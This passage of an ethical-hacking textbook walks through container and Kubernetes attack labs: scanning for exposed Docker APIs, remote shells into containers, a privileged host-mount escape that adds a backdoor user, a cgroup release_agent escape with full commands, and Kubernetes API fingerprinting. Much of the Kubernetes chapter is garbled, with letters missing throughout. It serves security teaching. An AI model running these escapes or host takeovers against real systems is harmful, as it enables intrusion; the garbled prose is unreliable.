mands across multiple lines. At this point, the Docker system will instruct the kernel
to build another layer that can be shared. If another container shares this identical apt
PART VI
command, it will be used. The final part of the build is the Docker ENTRYPOINT
command. This is a special Docker command that instructs the system to run the con-
tainer, prepending the command and arguments found in ENTRYPOINT. In this
example, we will be running Nmap and passing arguments. Let’s build the container:
┌──(kali kali)-[~/containers/nmap]
└─$ docker build -t ghh-nmap .
Sending build context to Docker daemon 2.048kB
Step 1/3❺ : FROM debian:bullseye-slim
---> 89d5fb3cdfe2
Step 2/3 : RUN apt update -y && apt-get install nmap -y
---> Running in 77244effafba
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.
<--Omitted for brevity---->
Removing intermediate container 77244effafba❻
---> e7430215e54b
Step 3/3 : ENTRYPOINT ["/usr/bin/nmap"]
Gray Hat Hacking: The Ethical Hacker’s Handbook
610
---> Running in 7503a5dbe8db
Removing intermediate container 7503a5dbe8db
---> 33ef0063a231
Successfully built 33ef0063a231
When Step 1/3 ❺ is run, we see that the container is using the existing hash. We
know this because it doesn’t indicate that it is running the layer or pulling it down. Each
subsequent step is now denoted by a layer, including some layers that are discarded ❻
because they are not needed post-build; those files are temporary. With this in hand, let’s
now run our container and see how it executes:
┌──(kali kali)-[~/containers/nmap]
└─$ docker run -it ghh-nmap scanme.nmap.org
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-26 02:15 UTC
Nmap scan report for scanme.nmap.org (45.33.32.156)
<--Omitted for Brevity-->
┌──(kali kali)-[~/containers/nmap]
The container executes Nmap and stops running. If you run a docker ps command,
you will no longer see a container executing, and the job is finished. Containers need
their process running in the foreground to stay running as a detached daemon. What
about data in the container? If we look in the /var/lib/docker directory, we can start to
explore the file system layers individually:
┌──(kali kali)-[~/containers/nmap]
└─$ sudo su -
<--Omitted for Brevity-->
┌──(root kali)-[~]
└─# cd /var/lib/docker/overlay2
┌──(root kali)-[/var/lib/docker/overlay2]
└─# ls -la **/*
<--Omitted for Brevity-->:
45acc12955ca75950a3f73845fcdfa70f1423e0e8901b86389e63ce2c0c03f27/diff: ❼
total 28
drwxr-xr-x 7 root root 4096 Feb 26 02:08 .
drwx-----x 4 root root 4096 Feb 26 02:08 ..
drwxr-xr-x 10 root root 4096 Feb 26 02:08 etc
drwxr-xr-x 4 root root 4096 Feb 8 00:00 lib
drwxrwxrwt 2 root root 4096 Feb 26 02:08 tmp
drwxr-xr-x 5 root root 4096 Feb 8 00:00 usr
drwxr-xr-x 5 root root 4096 Feb 8 00:00 var
45acc12955ca75950a3f73845fcdfa70f1423e0e8901b86389e63ce2c0c03f27/work:
total 8
drwx------ 2 root root 4096 Feb 26 02:08 .
drwx-----x 4 root root 4096 Feb 26 02:08 ..
Chapter 29: Hacking Containers
611
This view shows us a couple things. First, we can actually traverse Docker containers
on the host and look for files, and some of these files may contain secrets or information.
Keep this in mind when looking at containers on a large host. Second, we can see the
delta ❼ directories for each file system layer. The ones that are called /work are the ones
that contain changes after the container is running.
Applications
Why are containers popular and why do we see them suddenly appear everywhere?
Containers have slowly taken the place of virtual machines in many environments.
There is a tradeoff currently between containers and virtual machines—one that we
can easily exploit. Virtual machines bring a layer of security into the application by vir-
tualizing the hardware layers. This abstraction means that an operating system kernel,
drivers, memory management, and file system must be provided each time a virtual
machine is created.
Containers are different; they bring over the userland binaries and share the operat-
ing system kernel, drivers, and memory structures. The demarcation or isolation is at
the container group and namespaces layer. As shown in Figure 29-2, the advantage to
this is the amount of efficiency gained by not consuming additional CPU and memory
to manage an entire operating system; instead, userland processes are all that’s required
for containers.
Given this, for a developer we now can see the attraction from an efficiency stand-
point, but there are other benefits as well. Consider the legacy of Linux: with Linux you
have many applications compiled against standard libraries that are shipping at the time
CY
PART VI
C3
Guest2 App
Memory
Memory
C1 C2 C3 C2
Guest OS C1
Guest OS
Guest
Guest1 Hardware Guest Hardware
Guest1
VMM or HostOS VMM or HostOS
VMM
VMM
Hardware Hardware
Host Host
What Is Docker?
Most people consider Docker to be the most familiar container tool in existence. For a
while, and maybe still today, the words Docker and containers are almost interchange-
able. Docker is not a Container Runtime Interface (CRI).7 Docker open-sourced its
container runtime interface known as ContainerD. We will explore container runtimes
in Chapter 30, but for now we just need to understand that Docker itself is really a CLI
that works with an API that is the Docker daemon. The Docker daemon usually runs
in a Linux socket, but not always. Searching on popular Internet search tools will yield
many open and exposed Docker daemons. In essence, Docker ends up being a wrapper
command or an API layer that orchestrates containers on a single computing device.
Docker-Compose is a local orchestrator that allows an administrator to orchestrate mul-
tiple containers on the same box. Docker Swarm was the Docker system equivalent of
Kubernetes. It allowed for Docker itself to be managed across many servers. Docker’s
business model completely shifted with the rise of Kubernetes. Docker swarm was dep-
recated and Kubernetes is what Docker itself now uses for clustering. Docker has, as part
of its core, deep networking capabilities that can be exposed. How they are exposed has
proven to be a larger problem.
Docker daemons can be exposed fairly easily in the Windows operating system through a
simple click of a button. Docker uses Unix Sockets to provide a mechanism to pass com-
mands from the Docker CLI to the Docker API. There have been instances of Docker
ports exposed to the bare Internet. How can we find Docker daemons? Luckily, we can
Chapter 29: Hacking Containers
613
do so with a few simple scans. Run the following from within a new shell on the Kali
instance you set up in the cloud:
┌──(kali kali)-[~]
└─$ nmap -p 2375,2376 10.0.0.0/24 -A
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-26 17:32 UTC
PORT STATE SERVICE VERSION
<--Omitted for Brevity-->
2375/tcp open docker Docker 20.10.4 (API 1.41) ❶
| docker-version:
| KernelVersion: 5.4.0-1038-aws
| Version: 20.10.4
| GitCommit: 363e9a8
| Arch: amd64
Running nmap, we can scan for standard Docker container ports. Here what we see
is a very well understood and documented Docker API on one of our hosts ❶. The API
specification allows for full interaction with a Docker daemon just like the CLI tooling
would. This allows us to attach and execute actions on a remote host without bringing
any of the necessary binaries with us. To explore this further, let’s first look at the API
without the client:
┌──(kali kali)-[~]
└─$ curl http://10.0.0.50:2375/containers/json | jq ''❷
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2757 0 2757 0 0 207k 0 --:--:-- --:--:-- --:--:-- 207k
[
{
"Id": "fdc86c839ef3945b75a420891610ec30c29f8df6e0b5d9b08104f94a2c1eddd1",
"Names": [
"/targets_redis_1"
],
"Image": "redis:alpine",
"ImageID": "sha256:dad7dd459239bf2f1deb947d39ec7a0ec50f3a57daab8a0e5cee7f7b1250b770",
"Command": "docker-entrypoint.sh redis-server",
"Created": 1614547472,
"Ports": [
{
"PrivatePort": 6379,
"Type": "tcp"
}
PART VI
],
The SDK8 for Docker allows for many of the most common interactions, and the
ps command is enabled by the API call for containers. Here, the endpoint for /containers/
json ❷ returns to us all the container information from the API in the JSON array,
including any environment variables and any ports that are being used. Using the appro-
priate calls to the API, we could obtain much of the information we need; alternatively,
we also have the Docker CLI.
Container Security
Containers are designed to be a “point-in-time” style of system that doesn’t change. This
is a benefit for software developers to continue to support applications that had been
compiled on much older versions of software, but it’s also an advantage for attackers who
Gray Hat Hacking: The Ethical Hacker’s Handbook
614
want to leverage older vulnerabilities in software. We know that based on its immutabil-
ity, a container for legacy software like PHP 5.4 or Java 7 may contain a high number of
operating system vulnerabilities as well as software vulnerabilities in the runtime.
We can use the Docker CLI to create containers; however, it is much easier to use the
native client that already has all the calls codified in the CLI. We will be using our Kali-
deployed instance in the AWS Cloud to perform the following parts of the lab:
┌──(kali kali)-[~]
└─$ docker -H❶ 10.0.0.50 ps
CONTAINER ID IMAGE COMMAND CREATED STATUS
PORTS NAMES
fdc86c839ef3 redis:alpine "docker-entrypoint.s…" About an hour ago Up About
an hour 6379/tcp❹ targets_redis_1❷
1627680fd2d7 targets_web "flask run" About an hour ago Up About
an hour 0.0.0.0:80->5000/tcp❺ targets_web_1❸
We can run the docker command with the -H ❶ flag to allow us to specify the
remote host. On the remote target, we see two containers: targets_redis_1 ❷ and tar-
gets_web_1 ❸. The first container does not expose any ports to the host’s main inter-
face ❹, but the second container does ❺. In the current configuration, the daemon
is not authenticated or encrypted; therefore, any attacker listening on these interfaces
will be able to see these commands.
We will now remotely connect to the exposed Docker socket and gain a remote shell on
the system. This will seem familiar for readers that have used netcat bind shells.
┌──(kali kali)-[~]
└─$ docker -H 10.0.0.50 exec -it targets_web_1 /bin/sh❶
/code #❷ ls
Dockerfile __pycache__ app.py requirements.txt templates
/code # env❸
HOSTNAME=1627680fd2d7
PYTHON_PIP_VERSION=21.0.1
<--OMITTED FOR BREVITY---->
PYTHON_GET_PIP_SHA256=c3b81e5d06371e135fb3156dc7d8fd6270735088428c4a9a5ec1f342e2024565
/code # ps -ef❹
PID USER TIME COMMAND
1 root 0:01 {flask} /usr/local/bin/python /usr/local/bin/flask run
20 root 0:00 /bin/sh
28 root 0:00 ps -ef
/code # cat /proc/1/cgroup❺
12:cpuset:/docker/1627680fd2d7e7b92c3405b7c7d7ce474aed7abba3780e4a027742ccea5309bb
<Omitted-For-Brevity>
1:name=systemd:/docker/1627680fd2d7e7b92c3405b7c7d7ce474aed7abba3780e4a027742ccea5309bb
0::/system.slice/containerd.service
/code # mount❻
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/
l/3X4T6OJ6GBHFJNXSSIKCOMMDRG:/var/lib/docker/overlay2/l/5DNFTYUP7HSMEXXXF2ZXCW5J3U:/
Chapter 29: Hacking Containers
615
var/lib/docker/overlay2/l/QMSJGZMMOTN6FILIJQSQICUC4H:/var/lib/docker/overlay2/l/
TFLCV4NYYCZINIWBZDAQB6Y27S:/var/lib/docker/overlay2/l/ZZCPULUIHQKZEKDE6PEO7CZAH7:/
var/lib/docker/overlay2/l/7CNC3VEI2FM6QKM6U4TTL2O5BI:/var/lib/docker/overlay2/l/
CHCC4VJBGACUTIBJNQOXKX43PX:/var/lib/docker/overlay2/l/LOWUPQTQFJWVFPDS6ZUOFFH4OH:/
var/lib/docker/overlay2/l/4ANVYYIVOTXLKJNW4ZVXDK3DWB:/var/lib/docker/overlay2/
l/2FRUQCGQLTMZK5KS7FG54ADCEK:/var/lib/docker/overlay2/l/A7XZTOYS74EK2NFPK3APPUB7XO,up
perdir=/var/lib/docker/overlay2/4c77ebfcc69c4d26d42342c87114ce3c9fc320b51b9518db8037fb
8a99933365/diff,workdir=/var/lib/docker/overlay2/4c77ebfcc69c4d26d42342c87114ce3c9fc320
b51b9518db8037fb8a99933365/work,xino=off)
<--Omitted for Brevity-->
The Docker exec command ❶ allows us to execute commands inside of the Docker
container. Using -H, we can direct Docker to a specific host. Using the -i flag, we can
interact with the container, and using the -t flag, we can execute the commands against
the container tag that is given “targets_web_1.” The command that is provided at the end,
/bin/sh, is the command that will be run. Why not /bin/bash? This container is running
Alpine Linux, which is a very lightweight distribution commonly found in container envi-
ronments. While we cannot ever be sure what the target distribution is, we do know that
even distributions like Alpine that run the BusyBox shell will have /bin/sh. Many binaries
are not available on the containers running Alpine, by default, including bash.
The next series of commands allows us to do some rudimentary views around the
container environment. Notice that you are running as root, which is denoted both by
the # prompt ❷, as well as by the env command in which your HOME is set to /root.
Running env ❸ can give us a nice view as to what is running in the container. Some-
times environment variables help us understand the environment, as many of the secrets
and useful artifacts may be present. In this container, there is nothing unique that we
can find within the environment variables. What we do have, however, are several inter-
esting items to note:
PART VI
main process as PID 1. If we recall how cgroups work, we can look inside of /proc/1/
cgroups ❺ to see what cgroups are mapped to this process. In the cgroups section, we will
note the Docker mapped container, which is a SHA-256 of the final merged Overlay2
disk. The mount ❻ command also shows us how that overlay disk is layered onto the
system—something that may come in handy:
/code # netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.11:33317 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN
tcp 0 0 172.18.0.2:5000 162.142.125.54:36242 TIME_WAIT
tcp 0 0 172.18.0.2:38632 172.18.0.3:6379❽ ❼ESTABLISHED
udp 0 0 127.0.0.11:55258 0.0.0.0:*
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
/code #
Gray Hat Hacking: The Ethical Hacker’s Handbook
616
Using the netstat command, we can look for ESTABLISHED ❼ and existing con-
nections that may not be directly exposed to the pod. We may recognize that one of these
ports is that of the Redis ❽ key/value database. Containers are somewhat immutable
by nature; however, they accommodate changes in the container after execution. These
changes are discarded on container restart or rebuild. We can use the container’s operat-
ing system to bring down any binaries we may require to move around this device.
We can move laterally in an environment several ways, including setting up port forwards
and proxies. We can also just bring down binaries to help us move further in an environ-
ment until we need to perform an additional direct pivot.
/code # cat /etc/os-release❶
NAME="Alpine Linux"
ID=alpine
<--Omitted for Brevity-->
/code # apk --update add redis❷
fetch https://dl-cdn.alpinelinux.org/alpine/v3.13/main/x86_64/APKINDEX.tar.gz
(1/1) Installing redis (6.0.11-r0)
Executing busybox-1.32.1-r3.trigger
OK: 141 MiB in 49 packages
Identifying the container operating system will be critical in bringing down operating
system packages ❶. Alpine is a very popular container-based operating system due to its
small size. Understanding that the container is running Alpine, we can use apk ❷, the
Alpine package manager, to install the Redis package. We now have several components
to move around laterally within the same host, and we have a shell on one container with
its capability to talk to another container on the same host. These containers are able to
communicate because they share the same networking cgroup information.
/code # redis-cli -h redis
redis:6379> KEYS *
1) "hits"
The Redis container only has a single key with the name of hits. Redis can contain all
manner of information, and many times we can get Redis to give us a backdoor shell on
the system. Can we go any further in our environment? Can we get on the host operat-
ing system?
Capabilities
The Linux Kernel has an inherent set of capabilities that can be enabled to allow for more
granular control of what a user is allowed or not allowed to do. One common example
you may run into is when using the popular Wireshark tool as a non-root user. The sys-
tem will ask you to enable the following capabilities:9
Let’s execute a Docker container using the privileged command and passing in devices
from the host.
┌──(kali kali)-[~]
└─$ docker -H 10.0.0.50 run -it --name nginx --privileged --ipc=host --net=host
--pid=host -v /:/host ubuntu❶
root@ip-10-0-0-50:/#
root@ip-10-0-0-50:/# ps -ef❷
PID USER TIME COMMAND
1 root 0:15 {systemd} /sbin/init
2 root 0:00 [kthreadd]
<--Omitted for Brevity-->
PART VI
85591 root 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby
-id e4dee9f982a38f79f94f2e302a3b41b0558cf9b75f273d5fcb3cef0d
85621 root 0:00 sh
85656 root 0:00 ps -ef
root@ip-10-0-0-50:/host# ls
bin dev home lib32 libx32 media opt root sbin srv tmp var
boot etc lib lib64 lost+found mnt proc run snap sys usr
root@ip-10-0-0-50:/host# chroot /host❸
# /bin/bash❹
root@ip-10-0-0-50:/# systemctl status❺
i p- 10- 0- 0- 50
State: running
Jobs: 0 queued
Failed: 0 units
Since: Fri 2021-02-26 14:23:35 UTC; 1 weeks 2 days ago
CGroup: /
├─3687 bpfilter_umh
├─init.scope
│ └─1 /sbin/init
└─system.slice
Gray Hat Hacking: The Ethical Hacker’s Handbook
618
└─systemd-logind.service
└─490 /lib/systemd/systemd-logind
<--Omitted for Brevity-->
root@ip-10-0-0-50:/# adduser ghh-hack❻
Adding user `ghh-hack' ...
Adding new group `ghh-hack' (1002) ...
Adding new user `ghh-hack' (1002) with group `ghh-hack' ...
<--Omitted for Brevity-->
Is the information correct? [Y/n] Y❼
exit
# exit
root@ip-10-0-0-50:/host# exit
exit
┌──(kali kali)-[~]
└─$ exit❽
Connection to 3.94.148.9 closed.
In many environments today, Docker’s socket is exposed to the general network. The
Docker socket, outside of the enterprise Swarm product, is not hardened in any mean-
ingful way. If we are able to attach to the Docker socket, we can execute commands as if
we were on the host itself. We can use a very small, lightweight container like the Busy-
Box container as a beachhead in our attack ❶, and we can even use additional commands
to allow us to mount the host’s / partition into the container as /host. Using BusyBox
has several advantages, one of which is that it will not trigger any alarms by itself. Now
that we have started the BusyBox container with privileges we can start to use the shell to
execute commands as if we are on the host itself.
Once we have the container booted, we can check for specific permissions, such as
using the ps ❷ command to list the processes of the entire system. This would reveal
other containers, and even our own container’s disk location. From here, we can chroot
the /host partition ❸ to make our container’s root the host’s root. We can use system bash
❹ and even run commands on the host as if we were not in the container itself. We can
prove full access at this point by running commands such as systemctl, which will allow
us to show all the processes on the host ❺. To get remote system access, we can add a local
user we can log in with ❻. We can make sure to run through all the default questions ❼.
To test access back into the system, we can now exit all the way back ❽. From here, we
can log in to the Docker host directly if we need to.
What if we find ourselves in an environment where we have command execution but not
direct access to the Docker process? Perhaps a picture would help; Figure 29-3 showcases
an attack path where we are able to escape a container using a simple escape sequence.
Here we find some vulnerability in a container and can execute commands on a
container. Let’s explore a container escape sequence that was first disclosed by Felix
Wilhelm11 and demonstrates a simple chroot mounting issue. Continuing from our
previous lab, we are currently within a container called target_web_1 on the remote
Chapter 29: Hacking Containers
619
Docker instance. From here, we are going to run a localized exploit using children
cgroups that allow us to execute operating system commands on the host:
/code # dir=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` ❶
/code # echo $dir
/sys/fs/cgroup/rdma
/code # ls $dir
cgroup.clone_children cgroup.sane_behavior release_agent
cgroup.procs notify_on_release tasks
/code # mkdir -p $dir/w❷
/code # echo 1 >$dir/w/notify_on_release❸
/code # cat $dir/w/notify_on_release
1
/code # mtab=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab) ❹
/code # echo $mtab
/var/lib/docker/overlay2/da517f8829173f04bfd3a95a88451c0958fc85267ecf787be53b29
f9d8f0be22/diff
/code # touch /output❺
/code # echo $mtab/cmd >$dir/release_agent;printf '#!/bin/sh\nps >'"$mtab/output" >/cmd❻
/code # cat /cmd
#!/bin/sh
ps >/var/lib/docker/overlay2/da517f8829173f04bfd3a95a88451c0958fc85267ecf787be53
b29f9d8f0be22/diff/output/code #
/code # chmod +x /cmd;sh -c "echo 0 >$dir/w/cgroup.procs"❼;sleep 1;cat /output❽
PID TTY TIME CMD
1 ? 00:00:20 systemd
<--Omitted for Brevity-->
118180 ? 00:00:00 kworker/u30:0-events_power_efficient
118220 ? 00:00:00 cmd
118222 ? 00:00:00 ps
PART VI
The first command sets the directory to /sys/fs/cgroup/rdma ❶, which is the cgroups
v1 directory that references direct memory shared among all containers. From here, a
directory called w is created, which will create another potential cgroup (this one just
simply called x ❷). Cgroups in v1 can be nested by type and not by process, so creating a
folder here creates a potential new cgroup, just unreferenced. The notify_on_release ❸
flag signifies to the kernel that it will execute the final command referenced in the
release_agent file. If we can control the release_agent file, we have command execution
on the host.
Consider how the kernel would have to find this location: it would need to know not
the chrooted location of the file but the actual location of the file. How do we find the
location of the final cmd to run? The final working directory of the host is the final layer
in the OverlayFS system, which is typically referenced as the diff directory. We can find
Gray Hat Hacking: The Ethical Hacker’s Handbook
620
this using the mtab file to locate our overlay file system location ❹. Once we know this,
we have a few additional hurdles. First, we need a location to store our output inside
of the container; think of this as a way to send messages from the host into the kernel.
We can use a file for this (in our case, /output ❺). Next, we need to let the release_agent
know the file to run.
In our example, /cmd ❻ is the command to run and /output ❻ stores our output.
The final step is to make the command executable and tell the cgroup that we created in
/w to exit. We can do this by storing a 0 in /w/cgroup.procs, which instructs the kernel
that the cgroup can now exit ❼. We can even read the contents of that output after paus-
ing for 1 second to allow the host system to execute the task ❽.
Why is this possible? How can we accomplish these commands? First of all, the
cgroups v1 system has to be in place, which will be in place for quite some time, as the
Linux Kernel did not introduce cgroups v2 until Kernel version 4.5 and was not in major
distribution until Fedora 31. Ubuntu 18.04 LTS and 20.04 LTS still use cgroups v1, as
do many RedHat distributions still in use today. The next thing we need is either the
--privilege flag or the kernel capabilities that enable mount. This is just one example of
many in which a kernel attack can lead to system compromise. Have you ever seen any
kernel exploits in the wild that may also be a vehicle for this?
Summary
Containers are used as a mechanism to help scale architectures and provide resiliency
to software. Containers trade security for operational efficiency, and this chapter high-
lighted many of the vulnerabilities we might encounter in the wild. This chapter walked
through the components found in containers and how to potentially exploit them. The
next time you find yourself in an application stack, the first thing to check may in fact
be whether or not you are in a containerized environment. You could find yourself given
the capability to escape that environment and move outside to other parts of the archi-
tecture with less effort than initially thought.
References
1. “Open Container Initiative Image Format Specification,” https://github.com/
opencontainers/image-spec/blob/master/spec.md.
2. “Open Container Initiative Runtime Specification,” https://github.com/
opencontainers/runtime-spec/blob/master/spec.md.
3. “Open Container Initiative Distribution Specification,” https://github.com/
opencontainers/distribution-spec/blob/main/spec.md.
4. “Use the OverlayFS storage driver,” https://docs.docker.com/storage/storagedriver/
overlayfs-driver/.
PART VI
5. “About the Open Containers Initiative,” https://opencontainers.org/about/overview/.
6. “Control Group v2,” https://www.kernel.org/doc/Documentation/cgroup-v2.txt.
7. “Don’t Panic: Kubernetes and Docker,” https://kubernetes.io/blog/2020/12/02/
dont-panic-kubernetes-and-docker/.
8. “Docker Engine API (v 1.41),” https://docs.docker.com/engine/api/v1.41/.
9. Kernel Capabilities, Linux Man Pages, https://linux.die.net/man/7/capabilities.
10. “AppArmor security profiles for Docker,” https://docs.docker.com/engine/security/
apparmor/.
11. Felix Wilhelm, Twitter, https://twitter.com/_fel1x/status/1151487051986087936.
This page intentionally left blank
Hacking on Kubernetes
CHAPTER
30
In this chapter, we cover the following topics:
• Kubernetes architecture
• Fingerprinting Kubernetes API Servers
• Getting access to Kubernetes internals
• Moving laterally
I his chap, w will alk abou o of h ws chologis, mayb h hos
chology, o com aoud sic viualizaio sad. If a coai is h quival
of a viual machi i is us, h Kubs is quival o h VMwa vSph
sysm. Kubs has chagd h way may ogaizaios hav b abl o pack-
ag ad dliv sofwa. Sagly ough, mos of h Kubs disibuios1 ad
sysms a o dployd o ba mal. Thy a gally dployd o xisig viu-
alizaio hadwa, alhough ba mal is suppod. Th bas quim fo Kub-
s is usually a Liux sysm, bu Widows wok suppo has sadily bcom
mo availabl.
Wih all h hyp aoud cloud-aiv achicus, Kubs will b a ma-
agm sysm ha you may hav o cod wih. Wih ach passig las, i
may bcom gally mo difficul o xploi i succssfully. I his chap, w will
us som fudamal Kubs aack chiqus whil cosidig h dfsiv
coxs ad pifalls.
Kubernetes Architecture
Udsadig h iy of h Kubs achicu2 will hlp you aalyz is
waksss. Th fis compo would b o udsad h cool pla. Th cool
pla of Kubs islf is mad up of h coais lisd x.
NOTE The control plane of a system is the plane, or zone, in which the
system operates outside of its standard workloads. This zone is responsible
for the backend of the system and organizes the components that make
up the system. The plane that a user would interact with for a workload on
Kubernetes, such as the web applications hosted on Kubernetes, would be
called the data plane.
623
Gray Hat Hacking: The Ethical Hacker’s Handbook
624
• API Server Th API Sv is h ha of h sysm, ad i is igal
fo commuicaio bw h Kubs Nods ad h Kubs
Compos. All of h compos iac hough h API Sv. This
icluds ial compos as wll as xal compos. Opaos ad
Admiisaos us h API Sv, ad h idividual coais also us i.
• Etcd This is a ky/valu so ha coais h daabas fo cool pla
compos. I is a fillss quival o h /c dicoy i a Uix opaig
sysm. Ecd is also a co compo of h sysm, ad ach API iacio
ha is qusd hough h API Sv ca b wi o Ecd fo oh
compos o ad ad xcu as a qus.
• kube-scheduler This is h schdulig sysm; i maiais h opaio of
h coais. Th kub-schdul looks a wha should b uig, how i
should b uig, ad whh i should b uig ad h sus hos
opaios xcu.
• kube-controller-manager This is a sis of coolls ha maiai diff
opaig compos. Each cooll has a spcific ask, ad h maag
ogaizs hm.
• cloud-controller-manager Th cloud-cooll-maag is a absacio
fo ach cloud, ad his allows fo Kubs o wok acoss diff cloud
povids o o-pmiss sysms. Fo xampl, big abl o wok wih
Elasic Load Balacs i EC2 vsus Googl Load Balacs is o wi
io h co of h poduc; isad, i is absacd io his cloud-cooll-
maag lay.
Th oh compos i h cool pla a h compos ha si o ach
idividual od. Th ods u h followig compos o h cool pla lay:
API
Etcd Kubelet Containers
Server
Sched
Kubernetes Control Plane Kubernetes Node
To bgi ou labs, w will b saig fom ou cloud-dployd Kali isac, o a a
miimum a isac wh you ca s up h GHH pofil fo Amazo Wb Svics.
Th build scip dos qui a local vsio of Dock b isalld. Usig h Cloud
Shlls may o b possibl. Th miimum quims iclud h capabiliy o lauch
h Amazo Elasic Kubs Svic (EKS)3 as wll as havig a sysm wih Dock
alady o i.
PART VI
┌──(kali kali)-[~/GHHv6/ch30/Lab]
└─$ ./build.sh➊
[+] Download eksctl
[+] Running eksctl to build a cluster
<---OMITTED FOR BREVITY--->
echo "-----------------------------------------------------------"
echo "[+] The following URL can be used to access your sock-shop:"
a42e3647a85f94677b898294b5c4e98d-1136228067.us-east-1.elb.amazonaws.com➋
echo "[+] The following URL is your URL for the Kubernetes API:"
https://C34DD3F35D8E41A7B78A68861CC6668A.gr7.us-east-1.eks.amazonaws.com➌
To u h build scip, chag io h ch30/Lab dicoy of h GHHv6 posioy.
Fom h, xcu h build.sh ❶ commad.
Gray Hat Hacking: The Ethical Hacker’s Handbook
626
Oc h build.sh commad is do, you will s oupu givig you wo pics of
ifomaio you will d:
• Th URL of h applicaio fom h Elasic Load Balac uig ou
applicaio ➋
• Th URL of h Kubs API Sv fom h Elasic Kubs Svic ➌
NOTE We will not necessarily be using this application, but we are including
it as a reference application for you to look at. The application features some
very good security practices that we will discuss later in the chapter. The
application is called Sock Shop, and it’s a microservices reference application
by WeaveWorks.4
Th build scip will build sval ims ha a goig o b pa of ou lab:
PART VI
TCP 10252 Control Controller Maintains the health of the cluster-
plane Manager monitoring port. Never expose.
TCP 10255 Nodes Read-Only Should never be exposed to the
Kubelet API Internet and should not be exposed
to the container. Default on.
TCP 10258 Control Cloud Cloud deployment cloud service
plane Controller providers. Never expose.
Manager
TCP 2379–2380 Control Ectd Server Should never be exposed as
plane Client API writeable from the containers
or the Internet.
Table 30-1 TCP and UDP Ports for the Cluster6
Gray Hat Hacking: The Ethical Hacker’s Handbook
628
oh idicaos, such as h cificas ha svs sd us. Wha a som of h URIs
w ca look a? H’s a lis of Kubs-aiv URIs of o:
L’s sa by cocig o h Kubs API Sv ad s wha obsvabls appa.
You URL is show af h Kubs build scip is do. Mak su you do o us
h xac URL i ou book, as ach ad will s a diff valu.
┌──(kali kali)-[~/GHHv6/ch30/Lab]
└─$ curl -v -k https://6AB7167064B54A5517621FF9DE0AF0FC.gr7.us-east-1.eks
.amazonaws.com➊
* Trying 44.193.148.65:443...
* Connected to 6AB7167064B54A5517621FF9DE0AF0FC.gr7.us-east-1.eks.amazonaws
.com (44.193.148.65) port 443 (#0)
<---OMITTED FOR BREVITY--->
* ALPN, server accepted to use h2
* Server certificate:
* subject: CN=kube-apiserver➋
* start date: Aug 3 01:18:50 2021 GMT
* expire date: Aug 3 01:24:05 2022 GMT
* issuer: CN=Kubernetes➌
<---OMITTED FOR BREVITY--->
< x-kubernetes-pf-flowschema-uid: f48c01fe-3eb5-4e55-bb19-6c1f712e2a1d➍
< x-kubernetes-pf-prioritylevel-uid: f9f1a4ed-2e93-49a0-aa00-2436e1da688c
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
Chapter 30: Hacking on Kubernetes
629
"status": "Failure",
"message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",➎
"reason": "Forbidden",
"details": {
},
"code": 403
* Connection #0 to host 6AB7167064B54A5517621FF9DE0AF0FC.gr7.us-east-1.eks
.amazonaws.com left intact
}
O of h asis ways o discov h Kubs API Sv is o jus amp
o coc o i. Ev a simpl commad-li ool lik cURL ➊ ca b usd o look
fo h maks ha allow us o figpi a liv sv. Th a sval higs o
o h wh cocig o Kubs. Th fis is ha h API Sv is uig
a cifica ha coms fom h ial Kubs PKI ➌. Noic ha h idd
us of h sysm is dclad i is Commo Nam (CN) ➋. This is o a sadad
usd oo cifica auhoiy ha will b i you us so, so you will d o
allow fo iscu cificas.
Som of h w Kubs Svs may show addiioal hads o h API Sv
(as a xampl, h hads fo pioiy ad flow cool ➍). O of h mos impoa
maks fo us is h JSON oupu ha is ud fom h API Sv. Th sig
ha is show—"fobidd: Us \"sysm:aoymous\" cao g pah \"/\""—is faily
uiqu o h Kubs API Sv ➎.
L’s xplo som of h oh API dpois ha may o b pocd:
┌──(kali kali)-[~/GHHv6/ch30/Lab]
└─$ curl -v -k https://6AB7167064B54A5517621FF9DE0AF0FC.gr7.us-east-1.eks
.amazonaws.com/version
{
"major": "1",
"minor": "20+",
"gitVersion": "v1.20.7-eks-8be107➏",
<---OMITTED FOR BREVITY--->
}
H w s h dpoi ha povids h vsio of h API sv. By dfaul, i
PART VI
povid us, wihou auhicaio, ifomaio abou h sysm, icludig ha i
is uig a Kubs giVsio ha is 1.20.7-ks-8b107 ➏. This is o jus a
xac build wih a commi umb fc, i’s a build likig his o Amazo Elasic
Kubs Svic (EKS).
┌──(kali kali)-[~/GHHv6/ch30/Lab]
└─$ curl -v -k https://6AB7167064B54A5517621FF9DE0AF0FC.gr7.us-east-1.eks
.amazonaws.com/api/v1/pod➐
<---OMITTED FOR BREVITY--->
"message": "pod is forbidden: User \"system:anonymous\" cannot list
resource \"pod\" in API group \"\" at the cluster scope➑",
"reason": "Forbidden",
"details": {
"kind": "pod"
<---OMITTED FOR BREVITY--->
}
Gray Hat Hacking: The Ethical Hacker’s Handbook
630
This big h xposd API Sv, w ca also sca fo oh dpois lookig fo
ay o-auhicad poial dpois, such as lookig a h pods API ➐. Th
API h is showig ha i quis auhicaio ➑. No of hs APIs should hav
aoymous op, as may of hs fixs w mad sval lass ago; howv, jus lik
opaig sysms, o vy clus is up o da ad uig h las vsios.
Figure 30-2
Kubernetes node Container 1 Namespace 1
architecture
Network Bridge
Container 2 Namespace 2
Container 3 Namespace 3
Kubelet
K8S Node
Chapter 30: Hacking on Kubernetes
631
Movd i ad do.
┌──(kali kali)-[~/GHHv6/ch30/Lab]
└─$ aws eks get-token –profile ghh –cluster-name ghh –region us-east-1 | jq
-r '.status.token'
k8s-aws-v1.aHR0cHM6Ly9zdHMuYW1hem9uYXdzLmNvbS8_QWN0aW9uPUdldENhbGxlcklkZ-
